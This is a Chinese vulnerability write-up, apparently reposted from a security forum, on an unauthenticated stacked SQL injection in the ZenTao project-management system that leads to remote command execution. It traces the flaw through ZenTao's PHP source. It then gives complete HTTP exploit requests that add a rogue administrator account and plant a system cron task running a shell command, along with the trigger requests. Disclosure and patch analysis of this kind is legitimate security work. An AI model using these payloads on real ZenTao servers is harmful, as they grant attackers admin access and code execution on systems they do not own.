原文链接:https://forum.butian.net/article/649
作者:0aspir1ng0
禅道20.2版本以下在个性化设置功能上存在一个未授权sql注入,这注入通过堆叠注入到数据库zt_config表中,将添加后台管理员到zt_user和注入命令执行的定时任务到zt_queue表中,最终实现未授权RCE的效果。
18.0.beta1<=version<=18.13.stable 、
20.0.beta1<=version<20.2 、
17.0.beta1<=version<=17.8
以及16.5版本 受影响。
3.1 my::preference()注入点
/zentao/module/my/control.php(my类)
的preference
方法能够没有限制注入的key参数和参数值内容。loadModel('setting')
表示加载/module/setting/
的model.php
文件。
publicfunctionpreference(string$showTip = 'true'){$this->loadModel('setting');if($_POST) { //e.g. system.common.safe.changeweak//根据zt_config表??.common.?.?foreach($_POST as$key => $value) $this->setting->setItem("{$this->app->user->account}.common.$key", $value);$this->setting->setItem("{$this->app->user->account}.common.preferenceSetted", 1);return$this->send(array('result' => 'success', 'message' => $this->lang->saveSuccess, 'closeModal' => true)); }$this->view->title = $this->lang->my->common . $this->lang->hyphen . $this->lang->my->preference;$this->view->showTip = $showTip;$this->view->URSRList = $this->loadModel('custom')->getURSRPairs();$this->view->URSR = $this->setting->getURSR();$this->view->programLink = isset($this->config->programLink) ? $this->config->programLink : 'program-browse';$this->view->productLink = isset($this->config->productLink) ? $this->config->productLink : 'product-all';$this->view->projectLink = isset($this->config->projectLink) ? $this->config->projectLink : 'project-browse';$this->view->executionLink = isset($this->config->executionLink) ? $this->config->executionLink : 'execution-task';$this->view->preferenceSetted = isset($this->config->preferenceSetted) ? true : false;$this->display(); }
没有对$_POST
过滤,循环遍历获取参数和参数值,其中参数当作key,参数值当作value,分别传入setting模块model.php(settingModel类)的setItem方法。
publicfunctionsetItem(string$path, mixed$value = ''): bool{$item = $this->parseItemPath($path);if(empty($item)) returnfalse;$item->value = strval($value);//value没有过滤,直接赋值。$this->dao->replace(TABLE_CONFIG)->data($item)->exec();return !dao::isError(); }
$item->value = strval($value);
显示value没有过滤,直接赋值。而key会经过parseItemPath
处理。$this->app->user
从session获取,没登陆情况下$this->app->user->account
为null。
publicfunctionparseItemPath(string$path): object|bool{ /* Determine vision of config item. */$pathVision = explode('@', $path);$vision = isset($pathVision[1]) ? $pathVision[1] : '';$path = $pathVision[0]; /* fix bug when account has dot. */$account = isset($this->app->user->account) ? $this->app->user->account : '';$replace = false;if($accountand strpos($path, $account) === 0) {$replace = true;$path = preg_replace("/^{$account}/", 'account', $path); }$level = substr_count($path, '.');//几层$section = '';if($level <= 1) returnfalse;if($level == 2) list($owner, $module, $key) = explode('.', $path);if($level == 3) list($owner, $module, $section, $key) = explode('.', $path);if($replace) $owner = $account;$item = newstdclass();$item->owner = $owner;$item->module = $module;$item->section = $section;$item->key = $key;if(!empty($vision)) $item->vision = $vision;return$item; }
配合setItem
方法replace的TABLE_CONFIG(zt_config)
格式可以查看到数据表的结构,由此可以得知parseItemPath
处理{$this->app->user->account}.common.$key
和value的过程。只能控制数据库中最后两列key和value,前面vison、owner和section均为空。
外部数据处理完毕后经过传入zentao/lib/dao/dao.class.php(Dao类)
的data()
会转义单引号,后续跟进如下:
//zentao/lib/dao/dao.class.php[Dao::data()]publicfunctiondata($data, $skipFields = ''){global$app, $config;if(!is_object($data)) $data = (object)$data;if(get_class($data) == 'form') $data = $data->data;if(isset($config->bizVersion)) {$app->loadLang('workflow');$app->loadConfig('workflow'); /* Check current module is buildin workflow. */if(isset($config->workflow->buildin->modules)) {$currentModule = $app->fetchModule ?: $app->rawModule;foreach($config->workflow->buildin->modules as$appModules) {if(!empty($appModules->$currentModule)) {$currentMainTable = zget($appModules->$currentModule, 'table', '');break; } }if(isset($currentMainTable)) {if($currentMainTable == $this->table) {$data = $this->processData($data); }else {$workflowFields = array();$stmt = $this->dbh->query("SELECT `field`,`type` FROM " . TABLE_WORKFLOWFIELD . " WHERE `module` = '{$currentModule}' AND `buildin` = '0'");while($row = $stmt->fetch()) {$workflowFields[$row->field] = $row->type; }$fields = $this->getFieldsType();foreach($dataas$field => $value) {if(!isset($fields[$field]) && isset($workflowFields[$field])) unset($data->$field); } } } } }$skipFields .= ',uid';returnparent::data($data, $skipFields); }//zentao/lib/base/dao/dao.class.php[baseDao::data()]publicfunctiondata($data, $skipFields = ''){if(!is_object($data)) $data = (object)$data;if($this->autoLang and !isset($data->lang)) {$data->lang = $this->app->getClientLang();if(isset($this->app->config->cn2tw) and$this->app->config->cn2tw and$data->lang == 'zh-tw') $data->lang = 'zh-cn';if(defined('RUN_MODE') and RUN_MODE == 'front'and !empty($this->app->config->cn2tw)) $data->lang = str_replace('zh-tw', 'zh-cn', $data->lang); }$this->sqlobj->data($data, $skipFields);return$this; }//zentao/lib/base/dao/dao.class.php[baseSQL::data()]publicfunctiondata($data, $skipFields = ''){$data = (object) $data;if($skipFields) $this->skipFields = ',' . str_replace(' ', '', $skipFields) . ',';if($this->method != 'insert') {foreach($dataas$field => $value) {if(!preg_match('|^\w+$|', $field)) {unset($data->$field);continue; }if(strpos($this->skipFields, ",$field,") !== false) continue;if($field == 'id'and$this->method == 'update') continue; // primary key not allowed in dmdb.$this->sql .= "`$field` = " . $this->quote($value) . ','; } }$this->data = $data;$this->sql = rtrim($this->sql, ','); // Remove the last ','.return$this; }
跟进quote()
方法发现quote只会转义单引号,斜线和反斜线不会:
publicfunctionquote($value){if(is_null($value)) return'NULL';if($this->magicQuote) $value = stripslashes($value);return$this->dbh->quote((string)$value); }
data处理完毕后就返回exec
执行sql语句了,从而将外部数据保存到数据库zt_config
中。
3.2 commonModel::loadConfigFromDB()和
router::setControlFile触发点
由于这是一个二次注入,因此找触发点第二步从漏洞原理出发:
代码逻辑从table_config获取数据,然后拼接到不论哪个表的where条件中,并且增删改查等sql语句**(不能经过链式操作函数,因此这些函数都会转义承接的数据过滤加入quotes)**。
查找思路要么找第一步table_config数据表获取数据select的*/value,要么找第二步直接拼接where条件的sql语句。
从第一步查找正则select[^rn]+_config
搜索,结合zt_config表拥有的字段和注入点可排除的条件有:owner、section、vision为空、module为common、key和value可控可任意设置。
一共找到以下几处:
baseRouter::setVision()方法
该处$account可控,但是添加了validater::checkAccount($account)
,该处存在历史漏洞CNVD-2022-42853
settingModel::getSysAndPersonalConfig()方法
跟进发现该处符合要求,但是该函数内部只有获取zt_config数据,没有将获取的数据进行再次的sql语句操作,因此仅此不能完全触发。
publicfunctiongetSysAndPersonalConfig(string$account = ''): array{$owner = 'system,' . ($account ? $account : '');$records = $this->dao->select('*')->from(TABLE_CONFIG) ->where('owner')->in($owner) ->beginIF(!$this->app->upgrading)->andWhere('vision')->in(array('', $this->config->vision))->fi() ->orderBy('id') ->fetchAll('id');if(!$records) returnarray();$vision = $this->config->vision; /* Group records by owner and module. */$config = array();foreach($recordsas$record) {if(!isset($config[$record->owner])) $config[$record->owner] = newstdclass();if(!isset($record->module)) returnarray(); // If no module field, return directly. Since 3.2 version, there's the module field.if(empty($record->module)) continue; /* If it`s lite vision unset config requiredFields */if($vision == 'lite'and$record->key == 'requiredFields'and$record->vision == '') continue;$config[$record->owner]->{$record->module}[] = $record; }return$config; }
寻找调用settingModel::getSysAndPersonalConfig()
方法的地方,完成触发。
只有一处commonModel::loadConfigFromDB()方法
对其调用,其中$account刚好未登陆的情况下为空。
publicfunctionloadConfigFromDB(){ /* Get configs of system and current user. */$account = isset($this->app->user->account) ? $this->app->user->account : '';if($this->config->db->name) $config = $this->loadModel('setting')->getSysAndPersonalConfig($account);$this->config->system = isset($config['system']) ? $config['system'] : array();$this->config->personal = isset($config[$account]) ? $config[$account] : array();//$config[""]$this->commonTao->updateDBWebRoot($this->config->system); /* Override the items defined in config/config.php and config/my.php. */if(isset($this->config->system->common)) $this->app->mergeConfig($this->config->system->common, 'common');if(isset($this->config->personal->common)) $this->app->mergeConfig($this->config->personal->common, 'common');$this->config->disabledFeatures = $this->config->disabledFeatures . ',' . $this->config->closedFeatures; }
从zt_config获取的数据return存储到$config,继续$config[$account]($config[""])
传递给$this->config->personal->common
(个人用户common配置),在第20行调用baseRouter::mergeConfig()
操作。
publicfunctionmergeConfig(array$dbConfig, string$moduleName = 'common'){global$config; /* 如果没有设置本模块配置,则首先进行初始化。Init the $config->$moduleNameif not set.*/if($moduleName != 'common'and !isset($config->$moduleName)) $config->$moduleName = newstdclass();$config2Merge = $config;if($moduleName != 'common') $config2Merge = $config->$moduleName;foreach($dbConfigas$item) {if($item->section) {if(!isset($config2Merge->{$item->section})) $config2Merge->{$item->section} = newstdclass();if(is_object($config2Merge->{$item->section})) {$config2Merge->{$item->section}->{$item->key} = $item->value; } }else {$config2Merge->{$item->key} = $item->value; // 根据代码逻辑得知,从数据库的配置存储到 } } }
$config2Merge
承接代码中全局变量$config
原本值,然后再添加数据库的common配置。
寻找调用commonModel::loadConfigFromDB()
的地方:
其中有一个在同类下setUserConfig()
有调用,该类在路由分析中知道是禅道整体路由默认会访问加载的,所以该方法只要访问任何路由都会有获取数据库config。但这里还没有找到将获取的数据存到sql操作中,直接根据第二步触发的正则['"][^rn>]+where[^rn]+$
查找。
首先在module和framework目录中查找:
router::setControlFile()
在if else分支里面$this->config->vision
直接拼接zt_workflowaction
。刚好$this->config->vision
可以经过数据库commonModel::loadConfigFromDB()
覆盖到代码config中。为了能进入if else分支,$this->config->edition
默认是open(在config/config.php
可以查看开源版本是这样,旗舰版或商业版则不存在是这个问题),需要通过注入点覆盖。同时$this->moduleName
需要从zt_workflowaction
选任意一个存在的module即可,method调用方法任意写,但是不能写browselabel
。
publicfunctionsetControlFile($exitIfNone = true){ /* Set raw module and method name for fetch control. */if(empty($this->rawModule)) $this->rawModule = $this->moduleName;if(empty($this->rawMethod)) $this->rawMethod = $this->methodName; /* If is not a biz version or is in install mode or in in upgrade mode, call parent method. */if($this->config->edition == 'open'or$this->installing or$this->upgrading) returnparent::setControlFile($exitIfNone); /* Check if the requested module is defined in workflow. */$flow = $this->dbQuery("SELECT * FROM " . TABLE_WORKFLOW . " WHERE `module` = '$this->moduleName'")->fetch();if(!$flow) returnparent::setControlFile($exitIfNone);if($flow->status != 'normal') helper::end("<html><head><meta charset='utf-8'></head><body>{$this->lang->flowNotRelease}</body></html>");if($flow->buildin && $this->methodName == 'browselabel') {$this->rawModule = $this->moduleName;$this->rawMethod = 'browse';$this->isFlow = true;$moduleName = 'flow';$methodName = 'browse';$this->setFlowURI($moduleName, $methodName); }else {$action = $this->dbQuery("SELECT * FROM " . TABLE_WORKFLOWACTION . " WHERE `module` = '$this->moduleName' AND `action` = '$this->methodName' AND `vision` = '{$this->config->vision}'")->fetch();if(zget($action, 'extensionType') == 'override') {$this->rawModule = $this->moduleName;$this->rawMethod = $this->methodName;$this->isFlow = true;$this->loadModuleConfig('workflowaction');$moduleName = 'flow';$methodName = $this->methodName;if(!in_array($this->methodName, $this->config->workflowaction->default->actions)) {if($action->type == 'single') $methodName = 'operate';if($action->type == 'batch') $methodName = 'batchOperate'; }$this->setFlowURI($moduleName, $methodName); } }returnparent::setControlFile($exitIfNone); }
触发点涉及到禅道路由,这部分需要结合禅道路由整体分析理解。
3.3 定时任务后台RCE
cron::ajaxExec()
是执行定时任务的方法,$this->config->global->cron
默认从zt_config
可以看到设置为1。访问该方法需要在applyExecRoles()
判断当前用户是否有权限执行定时任务、判断当前时间是否大于上次执行任务的时间,否则不能执行任务。
publicfunctionajaxExec(bool$restart = false){if(empty($this->config->global->cron)) return; //默认不为空 /* Run as daemon. */ ignore_user_abort(true); set_time_limit(0); session_write_close();$execId = mt_rand();if($restart) $this->cron->restartCron($execId);while(true) { /* Only one scheduler and max 4 consumers. */$roles = $this->applyExecRoles($execId);//检测当前是否可以执行定时任务,内部逻辑是判断当前时间是否过了上一次已经执行过的时间。if(empty($roles)) { ignore_user_abort(false);return; }if(in_array('scheduler', $roles)) $this->schedule($execId);//根据该方法注释为调度生成队列任务的方法if(in_array('consumer', $roles)) $this->consumeTasks($execId);//根据注释为执行所有定时任务的方法 sleep(20); } }
跟进执行定时任务的方法consumeTasks()
:
publicfunctionconsumeTasks(int$execId){while(true) {$this->cron->updateTime('consumer', $execId); /* Consume. */$task = $this->dao->select('*')->from(TABLE_QUEUE)->where('status')->eq('wait')->andWhere('command')->ne('')->orderBy('createdDate')->fetch();if(!$task) break;$this->consumeTask($execId, $task); } }
查询TABLE_QUEUE(zt_queue)
表中需要执行的任务的命令有哪些。结合代码,如下所示status为wait并且命令不为空的任务则需要执行。每次执行完成后会在consumeTask
方法更新zt_queue表的execId
、status
、lastTime
,方便下一次任务执行的对比。
更新完毕后,将执行任务的结果不管如何(只要没有被catch)都记录到日志中,通过cronModel::logCron()
方法
publicfunctionconsumeTask(int$execId, object$task){ /* Other executor may execute the task at the same time,so we mark execId and wait 500ms to check whether we own it. */$this->dao->update(TABLE_QUEUE)->set('status')->eq('doing')->set('execId')->eq($execId)->where('id')->eq($task->id)->exec(); usleep(500);$task = $this->dao->select('*')->from(TABLE_QUEUE)->where('id')->eq($task->id)->fetch();if($task->execId != $execId) return; /* Execution command. */$output = '';$return = '';unset($_SESSION['company']);unset($this->app->company);$this->loadModel('common');$this->common->setCompany();$this->common->loadConfigFromDB();try {if($task->type == 'zentao') { parse_str($task->command, $params);if(isset($params['moduleName']) andisset($params['methodName'])) {$this->viewType = 'html';$this->app->loadLang($params['moduleName']);$this->app->loadConfig($params['moduleName']);$output = $this->fetch($params['moduleName'], $params['methodName']); } }elseif($task->type == 'system') { exec($task->command, $out, $return);if($out) $output = implode(PHP_EOL, $out); } }catch(EndResponseException $endResponseException) {$output = $endResponseException->getContent(); }catch(Exception$e) {$output = $e; }$this->dao->update(TABLE_QUEUE)->set('status')->eq('done')->where('id')->eq($task->id)->exec();$this->dao->update(TABLE_CRON)->set('lastTime')->eq(date(DT_DATETIME1))->where('id')->eq($task->cron)->exec();$log = date('G:i:s') . " execute\ncronId: {$task->cron}\nexecId: $execId\ntaskId: {$task->id}\ncommand: {$task->command}\nreturn : $return\noutput : $output\n\n";$this->cron->logCron($log);returntrue; }
日志文件名为cron.记录日期.log.php
,日志统一路径为zentao/tmp/log/
。
publicfunctionlogCron(string$log){if(!is_writable($this->app->getLogRoot())) returnfalse;$runMode = PHP_SAPI == 'cli' ? '_cli' : '';$file = $this->app->getLogRoot() . "cron$runMode." . date('Ymd') . '.log.php';if(!is_file($file)) $log = "<?php\n die();\n" . $log;$fp = fopen($file, "a"); fwrite($fp, $log); fclose($fp); }
4.1 突破权限
根据漏洞分析得知这个二次注入,能够执行堆叠注入,再加上是个未授权SQL注入,利用该注入可添加管理员突破权限。
添加管理员用户模版payload参照zt_user用户表中admin原始用户:insert into zt_user(type,account,password,realname,pinyin)+value('inside','xxx','MD5 32位hash','xxx','xxxxx');
。
通过以下数据包能够添加成功账户bbba/123456:
POST/zentao/my-preference.htmlHTTP/1.1Host: x.x.x.xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencodedX-Requested-With: XMLHttpRequestAccept: */*Origin: http://x.x.x.xReferer: http://x.x.x.xAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: lang=zh-cn; device=desktop; theme=default;Connection: closeContent-Length: 274edition=1&vision=1';insert+into+zt_user(type,account,password,realname,pinyin)+value('inside','bbba','e10adc3949ba59abbe56e057f20f883e','bbba','bbba+b');#/../../open/rnd
触发路由请求类只要是zt_workflow表中存在的module即可,请求的method方法随便写即可(除去“browselabel”以外)。
查看zt_workflow:
选用第一个product
触发。
GET/zentao/project-method.htmlHTTP/1.1Host: x.x.x.xCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://x.x.x.xAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: lang=zh-cn; device=desktop; theme=default; hideMenu=false; vision=rnd; tab=my;Connection: close
触发成功后响应302,无响应体(使用浏览器的hackbar请求因为具体的方法随便写,可能会报找不到路由的错,开启了config/my.php的debug,会抛出异常和程序栈):
新添加的用户首次登录需要修改原始密码。
4.2 定时任务RCE
同样通过上述堆叠注入注入zt_queue执行whoami的payload的sql注入:INSERT+INTO+zt_queue(type,command,cron,createdDate,execId)+value('system','whoami',30,CURRENT_TIME(),123);
注入成功后,查看zt_queue表:
GET/zentao/cron-ajaxExec.htmlHTTP/1.1Host: x.x.x.xPragma: no-cacheCache-Control: no-cacheUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer: http://x.x.x.xAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: zentaosid=b5ee0caeb63360a394258d068759bad4; lang=zh-cn; vision=rnd; device=desktop; theme=default; hideMenu=false; tab=myConnection: close
触发成功响应302:
命令执行结果在appzentaotmplog
目录下日志文件cron.日期.log.php
可以查看:
e.g. 在cron.20241125.log.php
能查看到结果。
禅道在补丁页面发布该漏洞的修复:https://www.zentao.net/extension-viewext-6.html
原文始发于微信公众号(神农Sec):禅道20.2版本以下SQL注入到RCE漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论